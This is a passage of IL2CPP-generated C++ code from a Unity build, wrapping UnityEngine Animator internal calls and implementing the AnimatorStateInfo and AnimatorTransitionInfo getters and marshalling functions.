("UnityEngine.Animator::GetCurrentAnimatorStateInfo(System.Int32)"); return _il2cpp_icall_func(__this, ___layerIndex0); } // UnityEngine.AnimatorStateInfo UnityEngine.Animator::GetNextAnimatorStateInfo(System.Int32) extern "C" AnimatorStateInfo_t2577870592 Animator_GetNextAnimatorStateInfo_m3085812524 (Animator_t69676727 * __this, int32_t ___layerIndex0, const MethodInfo* method) { typedef AnimatorStateInfo_t2577870592 (*Animator_GetNextAnimatorStateInfo_m3085812524_ftn) (Animator_t69676727 *, int32_t); static Animator_GetNextAnimatorStateInfo_m3085812524_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_GetNextAnimatorStateInfo_m3085812524_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::GetNextAnimatorStateInfo(System.Int32)"); return _il2cpp_icall_func(__this, ___layerIndex0); } // UnityEngine.AnimatorTransitionInfo UnityEngine.Animator::GetAnimatorTransitionInfo(System.Int32) extern "C" AnimatorTransitionInfo_t2410896200 Animator_GetAnimatorTransitionInfo_m2734940813 (Animator_t69676727 * __this, int32_t ___layerIndex0, const MethodInfo* method) { typedef AnimatorTransitionInfo_t2410896200 (*Animator_GetAnimatorTransitionInfo_m2734940813_ftn) (Animator_t69676727 *, int32_t); static Animator_GetAnimatorTransitionInfo_m2734940813_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_GetAnimatorTransitionInfo_m2734940813_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::GetAnimatorTransitionInfo(System.Int32)"); return _il2cpp_icall_func(__this, ___layerIndex0); } // System.Boolean UnityEngine.Animator::IsInTransition(System.Int32) extern "C" bool Animator_IsInTransition_m3442920577 (Animator_t69676727 * __this, int32_t ___layerIndex0, const MethodInfo* method) { typedef bool (*Animator_IsInTransition_m3442920577_ftn) (Animator_t69676727 *, int32_t); static Animator_IsInTransition_m3442920577_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_IsInTransition_m3442920577_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::IsInTransition(System.Int32)"); return _il2cpp_icall_func(__this, ___layerIndex0); } // UnityEngine.AnimatorControllerParameter[] UnityEngine.Animator::get_parameters() extern "C" AnimatorControllerParameterU5BU5D_t1936965233* Animator_get_parameters_m3091186905 (Animator_t69676727 * __this, const MethodInfo* method) { typedef AnimatorControllerParameterU5BU5D_t1936965233* (*Animator_get_parameters_m3091186905_ftn) (Animator_t69676727 *); static Animator_get_parameters_m3091186905_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_get_parameters_m3091186905_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::get_parameters()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Animator::Play(System.Int32,System.Int32,System.Single) extern "C" void Animator_Play_m3632052371 (Animator_t69676727 * __this, int32_t ___stateNameHash0, int32_t ___layer1, float ___normalizedTime2, const MethodInfo* method) { typedef void (*Animator_Play_m3632052371_ftn) (Animator_t69676727 *, int32_t, int32_t, float); static Animator_Play_m3632052371_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_Play_m3632052371_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::Play(System.Int32,System.Int32,System.Single)"); _il2cpp_icall_func(__this, ___stateNameHash0, ___layer1, ___normalizedTime2); } // System.Boolean UnityEngine.Animator::get_hasBoundPlayables() extern "C" bool Animator_get_hasBoundPlayables_m3670407842 (Animator_t69676727 * __this, const MethodInfo* method) { typedef bool (*Animator_get_hasBoundPlayables_m3670407842_ftn) (Animator_t69676727 *); static Animator_get_hasBoundPlayables_m3670407842_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_get_hasBoundPlayables_m3670407842_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::get_hasBoundPlayables()"); return _il2cpp_icall_func(__this); } // System.Int32 UnityEngine.Animator::StringToHash(System.String) extern "C" int32_t Animator_StringToHash_m3313850714 (Il2CppObject * __this /* static, unused */, String_t* ___name0, const MethodInfo* method) { typedef int32_t (*Animator_StringToHash_m3313850714_ftn) (String_t*); static Animator_StringToHash_m3313850714_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_StringToHash_m3313850714_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::StringToHash(System.String)"); return _il2cpp_icall_func(___name0); } // System.Void UnityEngine.Animator::SetFloatID(System.Int32,System.Single) extern "C" void Animator_SetFloatID_m315788701 (Animator_t69676727 * __this, int32_t ___id0, float ___value1, const MethodInfo* method) { typedef void (*Animator_SetFloatID_m315788701_ftn) (Animator_t69676727 *, int32_t, float); static Animator_SetFloatID_m315788701_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_SetFloatID_m315788701_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::SetFloatID(System.Int32,System.Single)"); _il2cpp_icall_func(__this, ___id0, ___value1); } // System.Single UnityEngine.Animator::GetFloatID(System.Int32) extern "C" float Animator_GetFloatID_m2459156264 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { typedef float (*Animator_GetFloatID_m2459156264_ftn) (Animator_t69676727 *, int32_t); static Animator_GetFloatID_m2459156264_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_GetFloatID_m2459156264_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::GetFloatID(System.Int32)"); return _il2cpp_icall_func(__this, ___id0); } // System.Void UnityEngine.Animator::SetBoolID(System.Int32,System.Boolean) extern "C" void Animator_SetBoolID_m1875705373 (Animator_t69676727 * __this, int32_t ___id0, bool ___value1, const MethodInfo* method) { typedef void (*Animator_SetBoolID_m1875705373_ftn) (Animator_t69676727 *, int32_t, bool); static Animator_SetBoolID_m1875705373_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_SetBoolID_m1875705373_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::SetBoolID(System.Int32,System.Boolean)"); _il2cpp_icall_func(__this, ___id0, ___value1); } // System.Boolean UnityEngine.Animator::GetBoolID(System.Int32) extern "C" bool Animator_GetBoolID_m618935642 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { typedef bool (*Animator_GetBoolID_m618935642_ftn) (Animator_t69676727 *, int32_t); static Animator_GetBoolID_m618935642_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_GetBoolID_m618935642_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::GetBoolID(System.Int32)"); return _il2cpp_icall_func(__this, ___id0); } // System.Void UnityEngine.Animator::SetIntegerID(System.Int32,System.Int32) extern "C" void Animator_SetIntegerID_m1279848667 (Animator_t69676727 * __this, int32_t ___id0, int32_t ___value1, const MethodInfo* method) { typedef void (*Animator_SetIntegerID_m1279848667_ftn) (Animator_t69676727 *, int32_t, int32_t); static Animator_SetIntegerID_m1279848667_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_SetIntegerID_m1279848667_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::SetIntegerID(System.Int32,System.Int32)"); _il2cpp_icall_func(__this, ___id0, ___value1); } // System.Int32 UnityEngine.Animator::GetIntegerID(System.Int32) extern "C" int32_t Animator_GetIntegerID_m224950522 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { typedef int32_t (*Animator_GetIntegerID_m224950522_ftn) (Animator_t69676727 *, int32_t); static Animator_GetIntegerID_m224950522_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_GetIntegerID_m224950522_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::GetIntegerID(System.Int32)"); return _il2cpp_icall_func(__this, ___id0); } // System.Void UnityEngine.Animator::SetTriggerString(System.String) extern "C" void Animator_SetTriggerString_m2002790359 (Animator_t69676727 * __this, String_t* ___name0, const MethodInfo* method) { typedef void (*Animator_SetTriggerString_m2002790359_ftn) (Animator_t69676727 *, String_t*); static Animator_SetTriggerString_m2002790359_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_SetTriggerString_m2002790359_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::SetTriggerString(System.String)"); _il2cpp_icall_func(__this, ___name0); } // System.Void UnityEngine.Animator::SetTriggerID(System.Int32) extern "C" void Animator_SetTriggerID_m75277672 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { typedef void (*Animator_SetTriggerID_m75277672_ftn) (Animator_t69676727 *, int32_t); static Animator_SetTriggerID_m75277672_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_SetTriggerID_m75277672_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::SetTriggerID(System.Int32)"); _il2cpp_icall_func(__this, ___id0); } // System.Void UnityEngine.Animator::ResetTriggerString(System.String) extern "C" void Animator_ResetTriggerString_m1445965342 (Animator_t69676727 * __this, String_t* ___name0, const MethodInfo* method) { typedef void (*Animator_ResetTriggerString_m1445965342_ftn) (Animator_t69676727 *, String_t*); static Animator_ResetTriggerString_m1445965342_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_ResetTriggerString_m1445965342_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Animator::ResetTriggerString(System.String)"); _il2cpp_icall_func(__this, ___name0); } // System.String UnityEngine.AnimatorControllerParameter::get_name() extern "C" String_t* AnimatorControllerParameter_get_name_m1366583724 (AnimatorControllerParameter_t1381019216 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = __this->get_m_Name_0(); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Int32 UnityEngine.AnimatorControllerParameter::get_nameHash() extern "C" int32_t AnimatorControllerParameter_get_nameHash_m2115545113 (AnimatorControllerParameter_t1381019216 * __this, const MethodInfo* method) { int32_t V_0 = 0; { String_t* L_0 = __this->get_m_Name_0(); int32_t L_1 = Animator_StringToHash_m3313850714(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { int32_t L_2 = V_0; return L_2; } } // UnityEngine.AnimatorControllerParameterType UnityEngine.AnimatorControllerParameter::get_type() extern "C" int32_t AnimatorControllerParameter_get_type_m1960481806 (AnimatorControllerParameter_t1381019216 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_Type_1(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } // System.Boolean UnityEngine.AnimatorControllerParameter::Equals(System.Object) extern "C" bool AnimatorControllerParameter_Equals_m2765773032 (AnimatorControllerParameter_t1381019216 * __this, Il2CppObject * ___o0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AnimatorControllerParameter_Equals_m2765773032_MetadataUsageId); s_Il2CppMethodInitialized = true; } AnimatorControllerParameter_t1381019216 * V_0 = NULL; bool V_1 = false; int32_t G_B7_0 = 0; { Il2CppObject * L_0 = ___o0; V_0 = ((AnimatorControllerParameter_t1381019216 *)IsInstSealed(L_0, AnimatorControllerParameter_t1381019216_il2cpp_TypeInfo_var)); AnimatorControllerParameter_t1381019216 * L_1 = V_0; if (!L_1) { goto IL_0067; } } { String_t* L_2 = __this->get_m_Name_0(); AnimatorControllerParameter_t1381019216 * L_3 = V_0; NullCheck(L_3); String_t* L_4 = L_3->get_m_Name_0(); IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); bool L_5 = String_op_Equality_m1790663636(NULL /*static, unused*/, L_2, L_4, /*hidden argument*/NULL); if (!L_5) { goto IL_0067; } } { int32_t L_6 = __this->get_m_Type_1(); AnimatorControllerParameter_t1381019216 * L_7 = V_0; NullCheck(L_7); int32_t L_8 = L_7->get_m_Type_1(); if ((!(((uint32_t)L_6) == ((uint32_t)L_8)))) { goto IL_0067; } } { float L_9 = __this->get_m_DefaultFloat_2(); AnimatorControllerParameter_t1381019216 * L_10 = V_0; NullCheck(L_10); float L_11 = L_10->get_m_DefaultFloat_2(); if ((!(((float)L_9) == ((float)L_11)))) { goto IL_0067; } } { int32_t L_12 = __this->get_m_DefaultInt_3(); AnimatorControllerParameter_t1381019216 * L_13 = V_0; NullCheck(L_13); int32_t L_14 = L_13->get_m_DefaultInt_3(); if ((!(((uint32_t)L_12) == ((uint32_t)L_14)))) { goto IL_0067; } } { bool L_15 = __this->get_m_DefaultBool_4(); AnimatorControllerParameter_t1381019216 * L_16 = V_0; NullCheck(L_16); bool L_17 = L_16->get_m_DefaultBool_4(); G_B7_0 = ((((int32_t)L_15) == ((int32_t)L_17))? 1 : 0); goto IL_0068; } IL_0067: { G_B7_0 = 0; } IL_0068: { V_1 = (bool)G_B7_0; goto IL_006e; } IL_006e: { bool L_18 = V_1; return L_18; } } // System.Int32 UnityEngine.AnimatorControllerParameter::GetHashCode() extern "C" int32_t AnimatorControllerParameter_GetHashCode_m2591556684 (AnimatorControllerParameter_t1381019216 * __this, const MethodInfo* method) { int32_t V_0 = 0; { String_t* L_0 = AnimatorControllerParameter_get_name_m1366583724(__this, /*hidden argument*/NULL); NullCheck(L_0); int32_t L_1 = VirtFuncInvoker0< int32_t >::Invoke(2 /* System.Int32 System.Object::GetHashCode() */, L_0); V_0 = L_1; goto IL_0012; } IL_0012: { int32_t L_2 = V_0; return L_2; } } // System.Boolean UnityEngine.AnimatorStateInfo::IsName(System.String) extern "C" bool AnimatorStateInfo_IsName_m4069203550 (AnimatorStateInfo_t2577870592 * __this, String_t* ___name0, const MethodInfo* method) { int32_t V_0 = 0; bool V_1 = false; int32_t G_B4_0 = 0; { String_t* L_0 = ___name0; int32_t L_1 = Animator_StringToHash_m3313850714(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; int32_t L_2 = V_0; int32_t L_3 = __this->get_m_FullPath_2(); if ((((int32_t)L_2) == ((int32_t)L_3))) { goto IL_002b; } } { int32_t L_4 = V_0; int32_t L_5 = __this->get_m_Name_0(); if ((((int32_t)L_4) == ((int32_t)L_5))) { goto IL_002b; } } { int32_t L_6 = V_0; int32_t L_7 = __this->get_m_Path_1(); G_B4_0 = ((((int32_t)L_6) == ((int32_t)L_7))? 1 : 0); goto IL_002c; } IL_002b: { G_B4_0 = 1; } IL_002c: { V_1 = (bool)G_B4_0; goto IL_0032; } IL_0032: { bool L_8 = V_1; return L_8; } } extern "C" bool AnimatorStateInfo_IsName_m4069203550_AdjustorThunk (Il2CppObject * __this, String_t* ___name0, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_IsName_m4069203550(_thisAdjusted, ___name0, method); } // System.Int32 UnityEngine.AnimatorStateInfo::get_fullPathHash() extern "C" int32_t AnimatorStateInfo_get_fullPathHash_m3941998936 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_FullPath_2(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorStateInfo_get_fullPathHash_m3941998936_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_fullPathHash_m3941998936(_thisAdjusted, method); } // System.Int32 UnityEngine.AnimatorStateInfo::get_nameHash() extern "C" int32_t AnimatorStateInfo_get_nameHash_m1703033713 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_Path_1(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorStateInfo_get_nameHash_m1703033713_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_nameHash_m1703033713(_thisAdjusted, method); } // System.Int32 UnityEngine.AnimatorStateInfo::get_shortNameHash() extern "C" int32_t AnimatorStateInfo_get_shortNameHash_m3915898263 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_Name_0(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorStateInfo_get_shortNameHash_m3915898263_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_shortNameHash_m3915898263(_thisAdjusted, method); } // System.Single UnityEngine.AnimatorStateInfo::get_normalizedTime() extern "C" float AnimatorStateInfo_get_normalizedTime_m1330221276 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_NormalizedTime_3(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } extern "C" float AnimatorStateInfo_get_normalizedTime_m1330221276_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_normalizedTime_m1330221276(_thisAdjusted, method); } // System.Single UnityEngine.AnimatorStateInfo::get_length() extern "C" float AnimatorStateInfo_get_length_m3151009408 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_Length_4(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } extern "C" float AnimatorStateInfo_get_length_m3151009408_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_length_m3151009408(_thisAdjusted, method); } // System.Single UnityEngine.AnimatorStateInfo::get_speed() extern "C" float AnimatorStateInfo_get_speed_m3265333371 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_Speed_5(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } extern "C" float AnimatorStateInfo_get_speed_m3265333371_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_speed_m3265333371(_thisAdjusted, method); } // System.Single UnityEngine.AnimatorStateInfo::get_speedMultiplier() extern "C" float AnimatorStateInfo_get_speedMultiplier_m3451382250 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_SpeedMultiplier_6(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } extern "C" float AnimatorStateInfo_get_speedMultiplier_m3451382250_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_speedMultiplier_m3451382250(_thisAdjusted, method); } // System.Int32 UnityEngine.AnimatorStateInfo::get_tagHash() extern "C" int32_t AnimatorStateInfo_get_tagHash_m1559842952 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_Tag_7(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorStateInfo_get_tagHash_m1559842952_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_tagHash_m1559842952(_thisAdjusted, method); } // System.Boolean UnityEngine.AnimatorStateInfo::IsTag(System.String) extern "C" bool AnimatorStateInfo_IsTag_m1529621725 (AnimatorStateInfo_t2577870592 * __this, String_t* ___tag0, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___tag0; int32_t L_1 = Animator_StringToHash_m3313850714(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); int32_t L_2 = __this->get_m_Tag_7(); V_0 = (bool)((((int32_t)L_1) == ((int32_t)L_2))? 1 : 0); goto IL_0015; } IL_0015: { bool L_3 = V_0; return L_3; } } extern "C" bool AnimatorStateInfo_IsTag_m1529621725_AdjustorThunk (Il2CppObject * __this, String_t* ___tag0, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_IsTag_m1529621725(_thisAdjusted, ___tag0, method); } // System.Boolean UnityEngine.AnimatorStateInfo::get_loop() extern "C" bool AnimatorStateInfo_get_loop_m765573376 (AnimatorStateInfo_t2577870592 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_Loop_8(); V_0 = (bool)((((int32_t)((((int32_t)L_0) == ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); goto IL_0013; } IL_0013: { bool L_1 = V_0; return L_1; } } extern "C" bool AnimatorStateInfo_get_loop_m765573376_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorStateInfo_t2577870592 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorStateInfo_get_loop_m765573376(_thisAdjusted, method); } // Conversion methods for marshalling of: UnityEngine.AnimatorTransitionInfo extern "C" void AnimatorTransitionInfo_t2410896200_marshal_pinvoke(const AnimatorTransitionInfo_t2410896200& unmarshaled, AnimatorTransitionInfo_t2410896200_marshaled_pinvoke& marshaled) { marshaled.___m_FullPath_0 = unmarshaled.get_m_FullPath_0(); marshaled.___m_UserName_1 = unmarshaled.get_m_UserName_1(); marshaled.___m_Name_2 = unmarshaled.get_m_Name_2(); marshaled.___m_NormalizedTime_3 = unmarshaled.get_m_NormalizedTime_3(); marshaled.___m_AnyState_4 = static_cast(unmarshaled.get_m_AnyState_4()); marshaled.___m_TransitionType_5 = unmarshaled.get_m_TransitionType_5(); } extern "C" void AnimatorTransitionInfo_t2410896200_marshal_pinvoke_back(const AnimatorTransitionInfo_t2410896200_marshaled_pinvoke& marshaled, AnimatorTransitionInfo_t2410896200& unmarshaled) { int32_t unmarshaled_m_FullPath_temp_0 = 0; unmarshaled_m_FullPath_temp_0 = marshaled.___m_FullPath_0; unmarshaled.set_m_FullPath_0(unmarshaled_m_FullPath_temp_0); int32_t unmarshaled_m_UserName_temp_1 = 0; unmarshaled_m_UserName_temp_1 = marshaled.___m_UserName_1; unmarshaled.set_m_UserName_1(unmarshaled_m_UserName_temp_1); int32_t unmarshaled_m_Name_temp_2 = 0; unmarshaled_m_Name_temp_2 = marshaled.___m_Name_2; unmarshaled.set_m_Name_2(unmarshaled_m_Name_temp_2); float unmarshaled_m_NormalizedTime_temp_3 = 0.0f; unmarshaled_m_NormalizedTime_temp_3 = marshaled.___m_NormalizedTime_3; unmarshaled.set_m_NormalizedTime_3(unmarshaled_m_NormalizedTime_temp_3); bool unmarshaled_m_AnyState_temp_4 = false; unmarshaled_m_AnyState_temp_4 = static_cast(marshaled.___m_AnyState_4); unmarshaled.set_m_AnyState_4(unmarshaled_m_AnyState_temp_4); int32_t unmarshaled_m_TransitionType_temp_5 = 0; unmarshaled_m_TransitionType_temp_5 = marshaled.___m_TransitionType_5; unmarshaled.set_m_TransitionType_5(unmarshaled_m_TransitionType_temp_5); } // Conversion method for clean up from marshalling of: UnityEngine.AnimatorTransitionInfo extern "C" void AnimatorTransitionInfo_t2410896200_marshal_pinvoke_cleanup(AnimatorTransitionInfo_t2410896200_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.AnimatorTransitionInfo extern "C" void AnimatorTransitionInfo_t2410896200_marshal_com(const AnimatorTransitionInfo_t2410896200& unmarshaled, AnimatorTransitionInfo_t2410896200_marshaled_com& marshaled) { marshaled.___m_FullPath_0 = unmarshaled.get_m_FullPath_0(); marshaled.___m_UserName_1 = unmarshaled.get_m_UserName_1(); marshaled.___m_Name_2 = unmarshaled.get_m_Name_2(); marshaled.___m_NormalizedTime_3 = unmarshaled.get_m_NormalizedTime_3(); marshaled.___m_AnyState_4 = static_cast(unmarshaled.get_m_AnyState_4()); marshaled.___m_TransitionType_5 = unmarshaled.get_m_TransitionType_5(); } extern "C" void AnimatorTransitionInfo_t2410896200_marshal_com_back(const AnimatorTransitionInfo_t2410896200_marshaled_com& marshaled, AnimatorTransitionInfo_t2410896200& unmarshaled) { int32_t unmarshaled_m_FullPath_temp_0 = 0; unmarshaled_m_FullPath_temp_0 = marshaled.___m_FullPath_0; unmarshaled.set_m_FullPath_0(unmarshaled_m_FullPath_temp_0); int32_t unmarshaled_m_UserName_temp_1 = 0; unmarshaled_m_UserName_temp_1 = marshaled.___m_UserName_1; unmarshaled.set_m_UserName_1(unmarshaled_m_UserName_temp_1); int32_t unmarshaled_m_Name_temp_2 = 0; unmarshaled_m_Name_temp_2 = marshaled.___m_Name_2; unmarshaled.set_m_Name_2(unmarshaled_m_Name_temp_2); float unmarshaled_m_NormalizedTime_temp_3 = 0.0f; unmarshaled_m_NormalizedTime_temp_3 = marshaled.___m_NormalizedTime_3; unmarshaled.set_m_NormalizedTime_3(unmarshaled_m_NormalizedTime_temp_3); bool unmarshaled_m_AnyState_temp_4 = false; unmarshaled_m_AnyState_temp_4 = static_cast(marshaled.___m_AnyState_4); unmarshaled.set_m_AnyState_4(unmarshaled_m_AnyState_temp_4); int32_t unmarshaled_m_TransitionType_temp_5 = 0; unmarshaled_m_TransitionType_temp_5 = marshaled.___m_TransitionType_5; unmarshaled.set_m_TransitionType_5(unmarshaled_m_TransitionType_temp_5); } // Conversion method for clean up from marshalling of: UnityEngine.AnimatorTransitionInfo extern "C" void AnimatorTransitionInfo_t2410896200_marshal_com_cleanup(AnimatorTransitionInfo_t2410896200_marshaled_com& marshaled) { } // System.Boolean UnityEngine.AnimatorTransitionInfo::IsName(System.String) extern "C" bool AnimatorTransitionInfo_IsName_m2561957738 (AnimatorTransitionInfo_t2410896200 * __this, String_t* ___name0, const MethodInfo* method) { bool V_0 = false; int32_t G_B3_0 = 0; { String_t* L_0 = ___name0; int32_t L_1 = Animator_StringToHash_m3313850714(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); int32_t L_2 = __this->get_m_Name_2(); if ((((int32_t)L_1) == ((int32_t)L_2))) { goto IL_0022; } } { String_t* L_3 = ___name0; int32_t L_4 = Animator_StringToHash_m3313850714(NULL /*static, unused*/, L_3, /*hidden argument*/NULL); int32_t L_5 = __this->get_m_FullPath_0(); G_B3_0 = ((((int32_t)L_4) == ((int32_t)L_5))? 1 : 0); goto IL_0023; } IL_0022: { G_B3_0 = 1; } IL_0023: { V_0 = (bool)G_B3_0; goto IL_0029; } IL_0029: { bool L_6 = V_0; return L_6; } } extern "C" bool AnimatorTransitionInfo_IsName_m2561957738_AdjustorThunk (Il2CppObject * __this, String_t* ___name0, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_IsName_m2561957738(_thisAdjusted, ___name0, method); } // System.Boolean UnityEngine.AnimatorTransitionInfo::IsUserName(System.String) extern "C" bool AnimatorTransitionInfo_IsUserName_m3771933881 (AnimatorTransitionInfo_t2410896200 * __this, String_t* ___name0, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___name0; int32_t L_1 = Animator_StringToHash_m3313850714(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); int32_t L_2 = __this->get_m_UserName_1(); V_0 = (bool)((((int32_t)L_1) == ((int32_t)L_2))? 1 : 0); goto IL_0015; } IL_0015: { bool L_3 = V_0; return L_3; } } extern "C" bool AnimatorTransitionInfo_IsUserName_m3771933881_AdjustorThunk (Il2CppObject * __this, String_t* ___name0, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_IsUserName_m3771933881(_thisAdjusted, ___name0, method); } // System.Int32 UnityEngine.AnimatorTransitionInfo::get_fullPathHash() extern "C" int32_t AnimatorTransitionInfo_get_fullPathHash_m2689544352 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_FullPath_0(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorTransitionInfo_get_fullPathHash_m2689544352_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return AnimatorTransitionInfo_get_fullPathHash_m2689544352(_thisAdjusted, method); } // System.Int32 UnityEngine.AnimatorTransitionInfo::get_nameHash() extern "C" int32_t AnimatorTransitionInfo_get_nameHash_m460043277 (AnimatorTransitionInfo_t2410896200 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_Name_2(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } extern "C" int32_t AnimatorTransitionInfo_get_nameHash_m460043277_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { AnimatorTransitionInfo_t2410896200 * _thisAdjusted = reinterpret_cast(__this + 1); return 